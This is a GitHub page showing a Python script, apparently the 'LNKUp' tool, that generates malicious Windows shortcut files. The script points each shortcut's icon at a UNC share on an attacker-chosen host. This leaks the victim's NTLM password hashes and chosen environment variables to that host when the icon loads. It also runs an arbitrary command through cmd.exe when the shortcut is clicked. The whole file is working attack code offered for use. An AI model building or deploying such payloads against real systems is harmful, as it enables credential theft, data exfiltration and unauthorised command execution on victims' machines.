-
Notifications
You must be signed in to change notification settings - Fork 52
/
generate.py
169 lines (148 loc) · 5.28 KB
/
generate.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from __future__ import print_function
import argparse
import os
import random
import sys
import textwrap
from datetime import datetime
# Check if we're running windows
is_windows = sys.platform.startswith('win')
if is_windows:
import win32com.client
else:
try:
import pylnk
except ImportError:
print("You must install liblnk's python bindings for non-windows machines!")
sys.exit(1)
banner = r"""\
~==================================================~
## ##
## /$$ /$$ /$$ /$$ /$$ /$$ /$$ ##
## | $$ | $$$ | $$| $$ /$$/| $$ | $$ ##
## | $$ | $$$$| $$| $$ /$$/ | $$ | $$ /$$$$$$ ##
## | $$ | $$ $$ $$| $$$$$/ | $$ | $$ /$$__ $$ ##
## | $$ | $$ $$$$| $$ $$ | $$ | $$| $$ \ $$ ##
## | $$ | $$\ $$$| $$\ $$ | $$ | $$| $$ | $$ ##
## | $$$$$$$$| $$ \ $$| $$ \ $$| $$$$$$/| $$$$$$$/ ##
## |________/|__/ \__/|__/ \__/ \______/ | $$____/ ##
## | $$ ##
## | $$ ##
## |__/ ##
~==================================================~
"""
def parse_cmd_line_args():
parser = argparse.ArgumentParser(description='Generate a LNK payload')
parser.add_argument(
'--host',
metavar='h',
required=True,
help='Where should we send our data?'
)
parser.add_argument(
'--output',
metavar='o',
required=True,
help='The name of the lnk file'
)
parser.add_argument(
'--execute',
metavar='e',
default=[r'C:\Windows\explorer.exe .'],
nargs='+',
help=textwrap.dedent("""\
What command should we execute when the shortcut is clicked?
Default: None
""")
)
parser.add_argument(
'--vars',
metavar='r',
help=textwrap.dedent("""\
What variables should we exfiltrate?
Example: "PATH,COMPUTERNAME,USERNAME,NUMBER_OF_PROCESSORS"
""")
)
parser.add_argument(
'--type',
metavar='t',
default='all',
choices=('environment', 'ntlm', 'all'),
help=textwrap.dedent("""\
The payload type to generate. Possible options:
* environment - Will exfiltrate specified environment variables
* ntlm - Will exfiltrate windows NTLM password hashes
* all (default) - Will exfiltrate everything we can
""")
)
args = parser.parse_args()
if args.type != 'ntlm' and args.vars is None:
raise ValueError(textwrap.dedent("""\
You must specify environment variables to exfiltrate using --vars
Alternatively, use another payload type with --type
"""))
return args
def main(args):
target = ' '.join(args.execute)
if args.type == 'ntlm':
icon = r'\\{host}\Share\{filename}.ico'.format(
host=args.host,
filename=random.randint(0, 50000)
)
else:
args.vars = args.vars.replace('%', '').split(' ')
path = '_'.join('%{0}%'.format(w) for w in args.vars)
# Some minor anti-caching
icon = r'\\{host}\Share_{path}\{filename}.ico'.format(
host=args.host,
path=path,
filename=random.randint(0, 50000)
)
if is_windows:
ws = win32com.client.Dispatch('wscript.shell')
link = ws.CreateShortcut(args.output)
link.Targetpath = r'C:\Windows\System32'
link.Arguments = 'cmd.exe /c ' + target
link.IconLocation = icon
link.save()
else:
filepath = '{}/{}'.format(os.getcwd(), args.output)
link = for_file(r'C:\Windows\System32\cmd.exe', filepath)
link.arguments = '/c ' + target
link.target = target
link.icon = icon
print('File saved to {}'.format(filepath))
link.save(filepath)
print('Link created at {} with UNC path {}.'.format(args.output, icon))
"""
These functions are helper functions from pylnk that assumed the lnk
file was for the same OS it was being created on. For our purposes, our
target is windows only, so I've adjusted them to assume a windows
target to avoid errors.
"""
def for_file(target_file, lnk_name=None):
lnk = pylnk.create(lnk_name)
levels = target_file.split('\\')
elements = [levels[0]]
for level in levels[1:-1]:
segment = create_for_path(level, True)
elements.append(segment)
segment = create_for_path(levels[-1], False)
elements.append(segment)
lnk.shell_item_id_list = pylnk.LinkTargetIDList()
lnk.shell_item_id_list.items = elements
return pylnk.from_segment_list(elements, lnk_name)
def create_for_path(path, isdir):
now = datetime.now()
return {
'type': pylnk.TYPE_FOLDER if isdir else pylnk.TYPE_FILE,
'size': 272896,
'created': now,
'accessed': now,
'modified': now,
'name': path.split('\\')[0]
}
if __name__ == '__main__':
print(banner)
cmd_line_args = parse_cmd_line_args()
main(args=cmd_line_args)